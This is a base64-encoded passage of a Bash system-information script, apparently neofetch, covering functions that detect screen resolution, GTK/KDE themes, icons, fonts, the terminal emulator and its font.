Y2U6XV19eCR7c2hbbW5dLy9bWzpzcGFjZTpdXX0sICIKICAgICAgICAgICAgfQoKICAgICAgICAgICAgcmVzb2x1dGlvbj0ke3Jlc29sdXRpb24lLH0KICAgICAgICA7OwoKICAgICAgICAiSGFpa3UiKQogICAgICAgICAgICByZXNvbHV0aW9uPSIkKHNjcmVlbm1vZGUgfCBhd2sgLUYgJyB8LCAnICdFTkR7cHJpbnRmICQyICJ4IiAkMyAiIEAgIiAkNiAkN30nKSIKCiAgICAgICAgICAgIFtbICIkcmVmcmVzaF9yYXRlIiA9PSAib2ZmIiBdXSAmJiByZXNvbHV0aW9uPSIke3Jlc29sdXRpb24vIEAqfSIKICAgICAgICA7OwoKICAgICAgICAiRnJlZU1pTlQiKQogICAgICAgICAgICAjIE5lZWQgdG8gYmxvY2sgWDExIHF1ZXJpZXMKICAgICAgICA7OwoKICAgICAgICAqKQogICAgICAgICAgICBpZiB0eXBlIC1wIHhyYW5kciA+L2Rldi9udWxsICYmIFtbICRESVNQTEFZICYmIC16ICRXQVlMQU5EX0RJU1BMQVkgXV07IHRoZW4KICAgICAgICAgICAgICAgIGNhc2UgJHJlZnJlc2hfcmF0ZSBpbgogICAgICAgICAgICAgICAgICAgICJvbiIpCiAgICAgICAgICAgICAgICAgICAgICAgIHJlc29sdXRpb249IiQoeHJhbmRyIC0tbm9ncmFiIC0tY3VycmVudCB8XAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGF3ayAnbWF0Y2goJDAsL1swLTldKlwuWzAtOV0qXCovKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludGYgJDEgIiBAICIgc3Vic3RyKCQwLFJTVEFSVCxSTEVOR1RIKSAiSHosICJ9JykiCiAgICAgICAgICAgICAgICAgICAgOzsKCiAgICAgICAgICAgICAgICAgICAgIm9mZiIpCiAgICAgICAgICAgICAgICAgICAgICAgIHJlc29sdXRpb249IiQoeHJhbmRyIC0tbm9ncmFiIC0tY3VycmVudCB8XAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGF3ayAtRiAnY29ubmVjdGVkIHxcXCt8XFwoJyBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICcvIGNvbm5lY3RlZC4qWzAtOV0reFswLTldK1wrLyAmJiAkMiB7cHJpbnRmICQyICIsICJ9JykiCgogICAgICAgICAgICAgICAgICAgICAgICByZXNvbHV0aW9uPSIke3Jlc29sdXRpb24vcHJpbWFyeSwgfSIKICAgICAgICAgICAgICAgICAgICAgICAgcmVzb2x1dGlvbj0iJHtyZXNvbHV0aW9uL3ByaW1hcnkgfSIKICAgICAgICAgICAgICAgICAgICA7OwogICAgICAgICAgICAgICAgZXNhYwogICAgICAgICAgICAgICAgcmVzb2x1dGlvbj0iJHtyZXNvbHV0aW9uLy9cKn0iCgogICAgICAgICAgICBlbGlmIHR5cGUgLXAgeHdpbmluZm8gPi9kZXYvbnVsbCAmJiBbWyAkRElTUExBWSAmJiAteiAkV0FZTEFORF9ESVNQTEFZIF1dOyB0aGVuCiAgICAgICAgICAgICAgICByZWFkIC1yIHcgaCBcCiAgICAgICAgICAgICAgICAgICAgPDw8ICIkKHh3aW5pbmZvIC1yb290IHwgYXdrIC1GJzonICcvV2lkdGh8SGVpZ2h0LyB7cHJpbnRmICQyfScpIgogICAgICAgICAgICAgICAgcmVzb2x1dGlvbj0iJHt3fXgke2h9IgoKICAgICAgICAgICAgZWxpZiB0eXBlIC1wIHhkcHlpbmZvID4vZGV2L251bGwgJiYgW1sgJERJU1BMQVkgJiYgLXogJFdBWUxBTkRfRElTUExBWSBdXTsgdGhlbgogICAgICAgICAgICAgICAgcmVzb2x1dGlvbj0iJCh4ZHB5aW5mbyB8IGF3ayAnL2RpbWVuc2lvbnM6LyB7cHJpbnRmICQyfScpIgoKICAgICAgICAgICAgZWxpZiBbWyAtZCAvc3lzL2NsYXNzL2RybSBdXTsgdGhlbgogICAgICAgICAgICAgICAgZm9yIGRldiBpbiAvc3lzL2NsYXNzL2RybS8qL21vZGVzOyBkbwogICAgICAgICAgICAgICAgICAgIHJlYWQgLXIgc2luZ2xlX3Jlc29sdXRpb24gXyA8ICIkZGV2IgoKICAgICAgICAgICAgICAgICAgICBbWyAkc2luZ2xlX3Jlc29sdXRpb24gXV0gJiYgcmVzb2x1dGlvbj0iJHtzaW5nbGVfcmVzb2x1dGlvbn0sICR7cmVzb2x1dGlvbn0iCiAgICAgICAgICAgICAgICBkb25lCiAgICAgICAgICAgIGZpCiAgICAgICAgOzsKICAgIGVzYWMKCiAgICByZXNvbHV0aW9uPSIke3Jlc29sdXRpb24lJSx9IgogICAgcmVzb2x1dGlvbj0iJHtyZXNvbHV0aW9uJSUsIH0iCiAgICBbWyAteiAiJHtyZXNvbHV0aW9uL3h9IiBdXSAmJiByZXNvbHV0aW9uPQp9CgpnZXRfc3R5bGUoKSB7CiAgICAjIEZpeCB3ZWlyZCBvdXRwdXQgd2hlbiB0aGUgZnVuY3Rpb24gaXMgcnVuIG11bHRpcGxlIHRpbWVzLgogICAgdW5zZXQgZ3RrMl90aGVtZSBndGszX3RoZW1lIHRoZW1lIHBhdGgKCiAgICBpZiBbWyAiJERJU1BMQVkiICYmICRvcyAhPSAiTWFjIE9TIFgiICYmICRvcyAhPSAibWFjT1MiIF1dOyB0aGVuCiAgICAgICAgIyBHZXQgREUgaWYgdXNlciBoYXMgZGlzYWJsZWQgdGhlIGZ1bmN0aW9uLgogICAgICAgICgoZGVfcnVuICE9IDEpKSAmJiBnZXRfZGUKCiAgICAgICAgIyBSZW1vdmUgdmVyc2lvbiBmcm9tICckZGUnLgogICAgICAgIFtbICRkZV92ZXJzaW9uID09IG9uIF1dICYmIGRlPSR7ZGUvICp9CgogICAgICAgICMgQ2hlY2sgZm9yIERFIFRoZW1lLgogICAgICAgIGNhc2UgJGRlIGluCiAgICAgICAgICAgICJLREUiKiB8ICJQbGFzbWEiKikKICAgICAgICAgICAgICAgIGtkZV9jb25maWdfZGlyCgogICAgICAgICAgICAgICAgaWYgW1sgLWYgIiR7a2RlX2NvbmZpZ19kaXJ9L2tkZWdsb2JhbHMiIF1dOyB0aGVuCiAgICAgICAgICAgICAgICAgICAga2RlX2NvbmZpZ19maWxlPSIke2tkZV9jb25maWdfZGlyfS9rZGVnbG9iYWxzIgoKICAgICAgICAgICAgICAgICAgICBrZGVfdGhlbWU9IiQoZ3JlcCAiXiR7a2RlfSIgIiRrZGVfY29uZmlnX2ZpbGUiKSIKICAgICAgICAgICAgICAgICAgICBrZGVfdGhlbWU9IiR7a2RlX3RoZW1lLyo9fSIKICAgICAgICAgICAgICAgICAgICBpZiBbWyAiJGtkZSIgPT0gImZvbnQiIF1dOyB0aGVuCiAgICAgICAgICAgICAgICAgICAgICAgIGtkZV9mb250X3NpemU9IiR7a2RlX3RoZW1lIyosfSIKICAgICAgICAgICAgICAgICAgICAgICAga2RlX2ZvbnRfc2l6ZT0iJHtrZGVfZm9udF9zaXplLywqfSIKICAgICAgICAgICAgICAgICAgICAgICAga2RlX3RoZW1lPSIke2tkZV90aGVtZS8sKn0gJHtrZGVfdGhlbWUvKix9ICR7a2RlX2ZvbnRfc2l6ZX0iCiAgICAgICAgICAgICAgICAgICAgZmkKICAgICAgICAgICAgICAgICAgICBrZGVfdGhlbWU9IiRrZGVfdGhlbWUgWyRkZV0sICIKICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICBlcnIgIlRoZW1lOiBLREUgY29uZmlnIGZpbGVzIG5vdCBmb3VuZCwgc2tpcHBpbmcuIgogICAgICAgICAgICAgICAgZmkKICAgICAgICAgICAgOzsKCiAgICAgICAgICAgICoiQ2lubmFtb24iKikKICAgICAgICAgICAgICAgIGlmIHR5cGUgLXAgZ3NldHRpbmdzID4vZGV2L251bGw7IHRoZW4KICAgICAgICAgICAgICAgICAgICBndGszX3RoZW1lPSIkKGdzZXR0aW5ncyBnZXQgb3JnLmNpbm5hbW9uLmRlc2t0b3AuaW50ZXJmYWNlICIkZ3NldHRpbmdzIikiCiAgICAgICAgICAgICAgICAgICAgZ3RrMl90aGVtZT0iJGd0azNfdGhlbWUiCiAgICAgICAgICAgICAgICBmaQogICAgICAgICAgICA7OwoKICAgICAgICAgICAgIkdub21lIiogfCAiVW5pdHkiKiB8ICJCdWRnaWUiKikKICAgICAgICAgICAgICAgIGlmIHR5cGUgLXAgZ3NldHRpbmdzID4vZGV2L251bGw7IHRoZW4KICAgICAgICAgICAgICAgICAgICBndGszX3RoZW1lPSIkKGdzZXR0aW5ncyBnZXQgb3JnLmdub21lLmRlc2t0b3AuaW50ZXJmYWNlICIkZ3NldHRpbmdzIikiCiAgICAgICAgICAgICAgICAgICAgZ3RrMl90aGVtZT0iJGd0azNfdGhlbWUiCgogICAgICAgICAgICAgICAgZWxpZiB0eXBlIC1wIGdjb25mdG9vbC0yID4vZGV2L251bGw7IHRoZW4KICAgICAgICAgICAgICAgICAgICBndGsyX3RoZW1lPSIkKGdjb25mdG9vbC0yIC1nIC9kZXNrdG9wL2dub21lL2ludGVyZmFjZS8iJGdjb25mIikiCiAgICAgICAgICAgICAgICBmaQogICAgICAgICAgICA7OwoKICAgICAgICAgICAgIk1hdGUiKikKICAgICAgICAgICAgICAgIGd0azNfdGhlbWU9IiQoZ3NldHRpbmdzIGdldCBvcmcubWF0ZS5pbnRlcmZhY2UgIiRnc2V0dGluZ3MiKSIKICAgICAgICAgICAgICAgIGd0azJfdGhlbWU9IiRndGszX3RoZW1lIgogICAgICAgICAgICA7OwoKICAgICAgICAgICAgIlhmY2UiKikKICAgICAgICAgICAgICAgIHR5cGUgLXAgeGZjb25mLXF1ZXJ5ID4vZGV2L251bGwgJiYgXAogICAgICAgICAgICAgICAgICAgIGd0azJfdGhlbWU9IiQoeGZjb25mLXF1ZXJ5IC1jIHhzZXR0aW5ncyAtcCAiJHhmY29uZiIpIgogICAgICAgICAgICA7OwogICAgICAgIGVzYWMKCiAgICAgICAgIyBDaGVjayBmb3IgZ2VuZXJhbCBHVEsyIFRoZW1lLgogICAgICAgIGlmIFtbIC16ICIkZ3RrMl90aGVtZSIgXV07IHRoZW4KICAgICAgICAgICAgaWYgW1sgLW4gIiRHVEsyX1JDX0ZJTEVTIiBdXTsgdGhlbgogICAgICAgICAgICAgICAgSUZTPTogcmVhZCAtcmEgcmNfZmlsZXMgPDw8ICIkR1RLMl9SQ19GSUxFUyIKICAgICAgICAgICAgICAgIGd0azJfdGhlbWU9IiQoZ3JlcCAiXlteI10qJHtuYW1lfSIgIiR7cmNfZmlsZXNbQF19IikiCiAgICAgICAgICAgIGVsaWYgW1sgLWYgIiR7SE9NRX0vLmd0a3JjLTIuMCIgIF1dOyB0aGVuCiAgICAgICAgICAgICAgICBndGsyX3RoZW1lPSIkKGdyZXAgIl5bXiNdKiR7bmFtZX0iICIke0hPTUV9Ly5ndGtyYy0yLjAiKSIKCiAgICAgICAgICAgIGVsaWYgW1sgLWYgIi9ldGMvZ3RrLTIuMC9ndGtyYyIgXV07IHRoZW4KICAgICAgICAgICAgICAgIGd0azJfdGhlbWU9IiQoZ3JlcCAiXlteI10qJHtuYW1lfSIgL2V0Yy9ndGstMi4wL2d0a3JjKSIKCiAgICAgICAgICAgIGVsaWYgW1sgLWYgIi91c3Ivc2hhcmUvZ3RrLTIuMC9ndGtyYyIgXV07IHRoZW4KICAgICAgICAgICAgICAgIGd0azJfdGhlbWU9IiQoZ3JlcCAiXlteI10qJHtuYW1lfSIgL3Vzci9zaGFyZS9ndGstMi4wL2d0a3JjKSIKCiAgICAgICAgICAgIGZpCgogICAgICAgICAgICBndGsyX3RoZW1lPSIke2d0azJfdGhlbWUvKiR7bmFtZX0qPX0iCiAgICAgICAgZmkKCiAgICAgICAgIyBDaGVjayBmb3IgZ2VuZXJhbCBHVEszIFRoZW1lLgogICAgICAgIGlmIFtbIC16ICIkZ3RrM190aGVtZSIgXV07IHRoZW4KICAgICAgICAgICAgaWYgW1sgLWYgIiR7WERHX0NPTkZJR19IT01FfS9ndGstMy4wL3NldHRpbmdzLmluaSIgXV07IHRoZW4KICAgICAgICAgICAgICAgIGd0azNfdGhlbWU9IiQoZ3JlcCAiXlteI10qJG5hbWUiICIke1hER19DT05GSUdfSE9NRX0vZ3RrLTMuMC9zZXR0aW5ncy5pbmkiKSIKCiAgICAgICAgICAgIGVsaWYgdHlwZSAtcCBnc2V0dGluZ3MgPi9kZXYvbnVsbDsgdGhlbgogICAgICAgICAgICAgICAgZ3RrM190aGVtZT0iJChnc2V0dGluZ3MgZ2V0IG9yZy5nbm9tZS5kZXNrdG9wLmludGVyZmFjZSAiJGdzZXR0aW5ncyIpIgoKICAgICAgICAgICAgZWxpZiBbWyAtZiAiL2V0Yy9ndGstMy4wL3NldHRpbmdzLmluaSIgXV07IHRoZW4KICAgICAgICAgICAgICAgIGd0azNfdGhlbWU9IiQoZ3JlcCAiXlteI10qJG5hbWUiIC9ldGMvZ3RrLTMuMC9zZXR0aW5ncy5pbmkpIgoKICAgICAgICAgICAgZWxpZiBbWyAtZiAiL3Vzci9zaGFyZS9ndGstMy4wL3NldHRpbmdzLmluaSIgXV07IHRoZW4KICAgICAgICAgICAgICAgIGd0azNfdGhlbWU9IiQoZ3JlcCAiXlteI10qJG5hbWUiIC91c3Ivc2hhcmUvZ3RrLTMuMC9zZXR0aW5ncy5pbmkpIgogICAgICAgICAgICBmaQoKICAgICAgICAgICAgZ3RrM190aGVtZT0iJHtndGszX3RoZW1lLyR7bmFtZX0qPX0iCiAgICAgICAgZmkKCiAgICAgICAgIyBUcmltIHdoaXRlc3BhY2UuCiAgICAgICAgZ3RrMl90aGVtZT0iJCh0cmltICIkZ3RrMl90aGVtZSIpIgogICAgICAgIGd0azNfdGhlbWU9IiQodHJpbSAiJGd0azNfdGhlbWUiKSIKCiAgICAgICAgIyBSZW1vdmUgcXVvdGVzLgogICAgICAgIGd0azJfdGhlbWU9IiQodHJpbV9xdW90ZXMgIiRndGsyX3RoZW1lIikiCiAgICAgICAgZ3RrM190aGVtZT0iJCh0cmltX3F1b3RlcyAiJGd0azNfdGhlbWUiKSIKCiAgICAgICAgIyBUb2dnbGUgdmlzaWJpbGl0eSBvZiBHVEsgdGhlbWVzLgogICAgICAgIFtbICIkZ3RrMiIgPT0gIm9mZiIgXV0gJiYgdW5zZXQgZ3RrMl90aGVtZQogICAgICAgIFtbICIkZ3RrMyIgPT0gIm9mZiIgXV0gJiYgdW5zZXQgZ3RrM190aGVtZQoKICAgICAgICAjIEZvcm1hdCB0aGUgc3RyaW5nIGJhc2VkIG9uIHdoaWNoIHRoZW1lcyBleGlzdC4KICAgICAgICBpZiBbWyAiJGd0azJfdGhlbWUiICYmICIkZ3RrMl90aGVtZSIgPT0gIiRndGszX3RoZW1lIiBdXTsgdGhlbgogICAgICAgICAgICBndGszX3RoZW1lKz0iIFtHVEsyLzNdIgogICAgICAgICAgICB1bnNldCBndGsyX3RoZW1lCgogICAgICAgIGVsaWYgW1sgIiRndGsyX3RoZW1lIiAmJiAiJGd0azNfdGhlbWUiIF1dOyB0aGVuCiAgICAgICAgICAgIGd0azJfdGhlbWUrPSIgW0dUSzJdLCAiCiAgICAgICAgICAgIGd0azNfdGhlbWUrPSIgW0dUSzNdICIKCiAgICAgICAgZWxzZQogICAgICAgICAgICBbWyAiJGd0azJfdGhlbWUiIF1dICYmIGd0azJfdGhlbWUrPSIgW0dUSzJdICIKICAgICAgICAgICAgW1sgIiRndGszX3RoZW1lIiBdXSAmJiBndGszX3RoZW1lKz0iIFtHVEszXSAiCiAgICAgICAgZmkKCiAgICAgICAgIyBGaW5hbCBzdHJpbmcuCiAgICAgICAgdGhlbWU9IiR7a2RlX3RoZW1lfSR7Z3RrMl90aGVtZX0ke2d0azNfdGhlbWV9IgogICAgICAgIHRoZW1lPSIke3RoZW1lJSwgfSIKCiAgICAgICAgIyBNYWtlIHRoZSBvdXRwdXQgc2hvcnRlciBieSByZW1vdmluZyAiW0dUS1hdIiBmcm9tIHRoZSBzdHJpbmcuCiAgICAgICAgaWYgW1sgIiRndGtfc2hvcnRoYW5kIiA9PSAib24iIF1dOyB0aGVuCiAgICAgICAgICAgIHRoZW1lPSIke3RoZW1lLy8gJ1tHVEsnWzAtOV0nXSd9IgogICAgICAgICAgICB0aGVtZT0iJHt0aGVtZS8gJ1tHVEsyLzNdJ30iCiAgICAgICAgICAgIHRoZW1lPSIke3RoZW1lLyAnW0tERV0nfSIKICAgICAgICAgICAgdGhlbWU9IiR7dGhlbWUvICdbUGxhc21hXSd9IgogICAgICAgIGZpCiAgICBmaQp9CgpnZXRfdGhlbWUoKSB7CiAgICBuYW1lPSJndGstdGhlbWUtbmFtZSIKICAgIGdzZXR0aW5ncz0iZ3RrLXRoZW1lIgogICAgZ2NvbmY9Imd0a190aGVtZSIKICAgIHhmY29uZj0iL05ldC9UaGVtZU5hbWUiCiAgICBrZGU9Ik5hbWUiCgogICAgZ2V0X3N0eWxlCn0KCmdldF9pY29ucygpIHsKICAgIG5hbWU9Imd0ay1pY29uLXRoZW1lLW5hbWUiCiAgICBnc2V0dGluZ3M9Imljb24tdGhlbWUiCiAgICBnY29uZj0iaWNvbl90aGVtZSIKICAgIHhmY29uZj0iL05ldC9JY29uVGhlbWVOYW1lIgogICAga2RlPSJUaGVtZSIKCiAgICBnZXRfc3R5bGUKICAgIGljb25zPSIkdGhlbWUiCn0KCmdldF9mb250KCkgewogICAgbmFtZT0iZ3RrLWZvbnQtbmFtZSIKICAgIGdzZXR0aW5ncz0iZm9udC1uYW1lIgogICAgZ2NvbmY9ImZvbnRfdGhlbWUiCiAgICB4ZmNvbmY9Ii9HdGsvRm9udE5hbWUiCiAgICBrZGU9ImZvbnQiCgogICAgZ2V0X3N0eWxlCiAgICBmb250PSIkdGhlbWUiCn0KCmdldF90ZXJtKCkgewogICAgIyBJZiBmdW5jdGlvbiB3YXMgcnVuLCBzdG9wIGhlcmUuCiAgICAoKHRlcm1fcnVuID09IDEpKSAmJiByZXR1cm4KCiAgICAjIFdvcmthcm91bmQgZm9yIG1hY09TIHN5c3RlbXMgdGhhdAogICAgIyBkb24ndCBzdXBwb3J0IHRoZSBibG9jayBiZWxvdy4KICAgIGNhc2UgJFRFUk1fUFJPR1JBTSBpbgogICAgICAgICJpVGVybS5hcHAiKSAgICB0ZXJtPSJpVGVybTIiIDs7CiAgICAgICAgIlRlcm1pbmFsLmFwcCIpIHRlcm09IkFwcGxlIFRlcm1pbmFsIiA7OwogICAgICAgICJIeXBlciIpICAgICAgICB0ZXJtPSJIeXBlclRlcm0iIDs7CiAgICAgICAgKikgICAgICAgICAgICAgIHRlcm09IiR7VEVSTV9QUk9HUkFNL1wuYXBwfSIgOzsKICAgIGVzYWMKCiAgICAjIE1vc3QgbGlrZWx5IFRvc1dpbjIgb24gRnJlZU1pTlQgLSBxdWljayBjaGVjawogICAgW1sgIiRURVJNIiA9PSAidHc1MiIgfHwgIiRURVJNIiA9PSAidHcxMDAiIF1dICYmIHRlcm09IlRvc1dpbjIiCiAgICBbWyAiJFNTSF9DT05ORUNUSU9OIiBdXSAmJiB0ZXJtPSIkU1NIX1RUWSIKICAgIFtbICIkV1RfU0VTU0lPTiIgXV0gICAgICYmIHRlcm09IldpbmRvd3MgVGVybWluYWwiCgogICAgIyBDaGVjayAkUFBJRCBmb3IgdGVybWluYWwgZW11bGF0b3IuCiAgICB3aGlsZSBbWyAteiAiJHRlcm0iIF1dOyBkbwogICAgICAgIHBhcmVudD0iJChnZXRfcHBpZCAiJHBhcmVudCIpIgogICAgICAgIFtbIC16ICIkcGFyZW50IiBdXSAmJiBicmVhawogICAgICAgIG5hbWU9IiQoZ2V0X3Byb2Nlc3NfbmFtZSAiJHBhcmVudCIpIgoKICAgICAgICBjYXNlICR7bmFtZS8vIH0gaW4KICAgICAgICAgICAgIiR7U0hFTEwvKlwvfSJ8KiJzaCJ8InNjcmVlbiJ8InN1Iip8Im5ld2dycCIpIDs7CgogICAgICAgICAgICAibG9naW4iKnwqIkxvZ2luIip8ImluaXQifCIoaW5pdCkiKQogICAgICAgICAgICAgICAgdGVybT0iJCh0dHkpIgogICAgICAgICAgICA7OwoKICAgICAgICAgICAgInJ1YnkifCIxInwidG11eCIqfCJzeXN0ZW1kInwic3NoZCIqfCJweXRob24iKnxcCiAgICAgICAgICAgICJVU0VSIioiUElEIip8ImtkZWluaXQiKnwibGF1bmNoZCIqfCJid3JhcCIpCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICA7OwoKICAgICAgICAgICAgImdub21lLXRlcm1pbmFsLSIpIHRlcm09Imdub21lLXRlcm1pbmFsIiA7OwogICAgICAgICAgICAidXJ4dnRkIikgICAgICAgICAgdGVybT0idXJ4dnQiIDs7CiAgICAgICAgICAgICoibnZpbSIpICAgICAgICAgICB0ZXJtPSJOZW92aW0gVGVybWluYWwiIDs7CiAgICAgICAgICAgICoiTmVvVmltU2VydmVyIiopICB0ZXJtPSJWaW1SIFRlcm1pbmFsIiA7OwoKICAgICAgICAgICAgKikKICAgICAgICAgICAgICAgICMgRml4IGlzc3VlcyB3aXRoIGxvbmcgcHJvY2VzcyBuYW1lcyBvbiBMaW51eC4KICAgICAgICAgICAgICAgIFtbICRvcyA9PSBMaW51eCBdXSAmJiB0ZXJtPSQocmVhbHBhdGggIi9wcm9jLyRwYXJlbnQvZXhlIikKCiAgICAgICAgICAgICAgICB0ZXJtPSIke25hbWUjIyovfSIKCiAgICAgICAgICAgICAgICAjIEZpeCB3cmFwcGVyIG5hbWVzIGluIE5peC4KICAgICAgICAgICAgICAgIFtbICR0ZXJtID09IC4qLXdyYXBwZWQgXV0gJiYgewogICAgICAgICAgICAgICAgICAgdGVybT0iJHt0ZXJtIy59IgogICAgICAgICAgICAgICAgICAgdGVybT0iJHt0ZXJtJS13cmFwcGVkfSIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgOzsKICAgICAgICBlc2FjCiAgICBkb25lCgogICAgIyBMb2cgdGhhdCB0aGUgZnVuY3Rpb24gd2FzIHJ1bi4KICAgIHRlcm1fcnVuPTEKfQoKZ2V0X3Rlcm1fZm9udCgpIHsKICAgICgodGVybV9ydW4gIT0gMSkpICYmIGdldF90ZXJtCgogICAgY2FzZSAkdGVybSBpbgogICAgICAgICJhbGFjcml0dHkiKikKICAgICAgICAgICAgc2hvcHQgLXMgbnVsbGdsb2IKICAgICAgICAgICAgY29uZnM9KHskWERHX0NPTkZJR19IT01FLCRIT01FfS97YWxhY3JpdHR5LH0vey4sfWFsYWNyaXR0eS55bT8pCiAgICAgICAgICAgIHNob3B0IC11IG51bGxnbG9iCgogICAgICAgICAgICBbWyAtZiAiJHtjb25mc1swXX0iIF1dIHx8IHJldHVybgoKICAgICAgICAgICAgdGVybV9mb250PSIkKGF3ayAnL25vcm1hbDovIHt3aGlsZSAoIS9mYW1pbHk6LyB8fCAvIy8pCiAgICAgICAgICAgICAgICAgICAgICAgICB7aWYgKCFnZXRsaW5lKSB7ZXhpdH19IHByaW50OyBleGl0fScgIiR7Y29uZnNbMF19IikiCiAgICAgICAgICAgIHRlcm1fZm9udD0iJHt0ZXJtX2ZvbnQvKmZhbWlseTp9IgogICAgICAgICAgICB0ZXJtX2ZvbnQ9IiR7dGVybV9mb250LyQnXG4nKn0iCiAgICAgICAgICAgIHRlcm1fZm9udD0iJHt0ZXJtX2ZvbnQvXCMqfSIKICAgICAgICAgICAgdGVybV9mb250PSIke3Rlcm1fZm9udC8vXCJ9IgogICAgICAgIDs7CgogICAgICAgICJBcHBsZV9UZXJtaW5hbCIpCiAgICAgICAgICAgIHRlcm1fZm9udD0iJChvc2FzY3JpcHQgPDxFTkQKICAgICAgICAgICAgICAgICAgICAgICAgIHRlbGwgYXBwbGljYXRpb24gIlRlcm1pbmFsIiB0byBmb250IG5hbWUgb2Ygd2luZG93IGZyb250bW9zdApFTkQKKSIKICAgICAgICA7OwoKICAgICAgICAiaVRlcm0yIikKICAgICAgICAgICAgIyBVbmZvcnR1bmF0ZWx5IHRoZSBwcm9maWxlIG5hbWUgaXMgbm90IHVuaXF1ZSwgYnV0IGl0IHNlZW1zIHRvIGJlIHRoZSBvbmx5IHRoaW5nCiAgICAgICAgICAgICMgdGhhdCBpZGVudGlmaWVzIGFuIGFjdGl2ZSBwcm9maWxlLiBUaGVyZSBpcyB0aGUgImlkIG9mIGN1cnJlbnQgc2Vzc2lvbiBvZiBjdXJyZW50IHdpbi0KICAgICAgICAgICAgIyBkb3ciIHRob3VnaCwgYnV0IHRoYXQgZG9lcyBub3QgbWF0Y2ggdG8gYSBndWlkIGluIHRoZSBwbGlzdC4KICAgICAgICAgICAgIyBTbywgYmUgd2FybmVkLCBjb2xsaXNpb25zIG1heSBvY2N1ciEKICAgICAgICAgICAgIyBTZWU6IGh0dHBzOi8vZ3JvdXBzLmdvb2dsZS5jb20vZm9ydW0vIyF0b3BpYy9pdGVybTItZGlzY3Vzcy8wdE8zeFo0Wmx3ZwogICAgICAgICAgICBsb2NhbCBjdXJyZW50X3Byb2ZpbGVfbmFtZSBwcm9maWxlc19jb3VudCBwcm9maWxlX25hbWUgZGlmZl9mb250CgogICAgICAgICAgICBjdXJyZW50X3Byb2ZpbGVfbmFtZT0iJChvc2FzY3JpcHQgPDxFTkQKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdGVsbCBhcHBsaWNhdGlvbiAiaVRlcm0yIiB0byBwcm9maWxlIG5hbWUgXAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvZiBjdXJyZW50IHNlc3Npb24gb2YgY3VycmVudCB3aW5kb3cKRU5ECikiCgogICAgICAgICAgICAjIFdhcm5pbmc6IER5bmFtaWMgcHJvZmlsZXMgYXJlIG5vdCB0YWtlbiBpbnRvIGFjY291bnQgaGVyZSEKICAgICAgICAgICAgIyBodHRwczovL3d3dy5pdGVybTIuY29tL2RvY3VtZW50YXRpb24tZHluYW1pYy1wcm9maWxlcy5odG1sCiAgICAgICAgICAgIGZvbnRfZmlsZT0iJHtIT01FfS9MaWJyYXJ5L1ByZWZlcmVuY2VzL2NvbS5nb29nbGVjb2RlLml0ZXJtMi5wbGlzdCIKCiAgICAgICAgICAgICMgQ291bnQgR3VpZHMgaW4gIk5ldyBCb29rbWFya3MiOyB0aGV5IHNob3VsZCBiZSB1bmlxdWUKICAgICAgICAgICAgcHJvZmlsZXNfY291bnQ9IiQoUGxpc3RCdWRkeSAtYyAiUHJpbnQgJzpOZXcgQm9va21hcmtzOiciICIkZm9udF9maWxlIiB8IFwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ3JlcCAtdyAtYyAiR3VpZCIpIgoKICAgICAgICAgICAgZm9yICgoaT0wOyBpPHByb2ZpbGVzX2NvdW50OyBpKyspKTsgZG8KICAgICAgICAgICAgICAgIHByb2ZpbGVfbmFtZT0iJChQbGlzdEJ1ZGR5IC1jICJQcmludCAnOk5ldyBCb29rbWFya3M6JHtpfTpOYW1lOiciICIkZm9udF9maWxlIikiCgogICAgICAgICAgICAgICAgaWYgW1sgIiRwcm9maWxlX25hbWUiID09ICIkY3VycmVudF9wcm9maWxlX25hbWUiIF1dOyB0aGVuCiAgICAgICAgICAgICAgICAgICAgIyAiTm9ybWFsIEZvbnQiCiAgICAgICAgICAgICAgICAgICAgdGVybV9mb250PSIkKFBsaXN0QnVkZHkgLWMgIlByaW50ICc6TmV3IEJvb2ttYXJrczoke2l9Ok5vcm1hbCBGb250OiciIFwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRmb250X2ZpbGUiKSIKCiAgICAgICAgICAgICAgICAgICAgIyBGb250IGZvciBub24tYXNjaWkgY2hhcmFjdGVycwogICAgICAgICAgICAgICAgICAgICMgT25seSBjaGVjayBmb3IgYSBkaWZmZXJlbnQgbm9uLWFzY2lpIGZvbnQsIGlmIHRoZSB1c2VyIGNoZWNrZWQKICAgICAgICAgICAgICAgICAgICAjIHRoZSAidXNlIGEgZGlmZmVyZW50IGZvbnQgZm9yIG5vbi1hc2NpaSB0ZXh0IiBzd2l0Y2guCiAgICAgICAgICAgICAgICAgICAgZGlmZl9mb250PSIkKFBsaXN0QnVkZHkgLWMgIlByaW50ICc6TmV3IEJvb2ttYXJrczoke2l9OlVzZSBOb24tQVNDSUkgRm9udDonIiBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZm9udF9maWxlIikiCgogICAgICAgICAgICAgICAgICAgIGlmIFtbICIkZGlmZl9mb250IiA9PSAidHJ1ZSIgXV07IHRoZW4KICAgICAgICAgICAgICAgICAgICAgICAgbm9uX2FzY2lpPSIkKFBsaXN0QnVkZHkgLWMgIlByaW50ICc6TmV3IEJvb2ttYXJrczoke2l9Ok5vbiBBc2NpaSBGb250OiciIFwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZm9udF9maWxlIikiCgogICAgICAgICAgICAgICAgICAgICAgICBbWyAiJHRlcm1fZm9udCIgIT0gIiRub25fYXNjaWkiIF1dICYmIFwKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRlcm1fZm9udD0iJHRlcm1fZm9udCAobm9ybWFsKSAvICRub25fYXNjaWkgKG5vbi1hc2NpaSkiCiAgICAgICAgICAgICAgICAgICAgZmkKICAgICAgICAgICAgICAgIGZpCiAgICAgICAgICAgIGRvbmUKICAgICAgICA7OwoKICAgICAgICAiZGVlcGluLXRlcm1pbmFsIiopCiAgICAgICAgICAgIHRlcm1fZm9udD0iJChhd2sgLUYgJz0n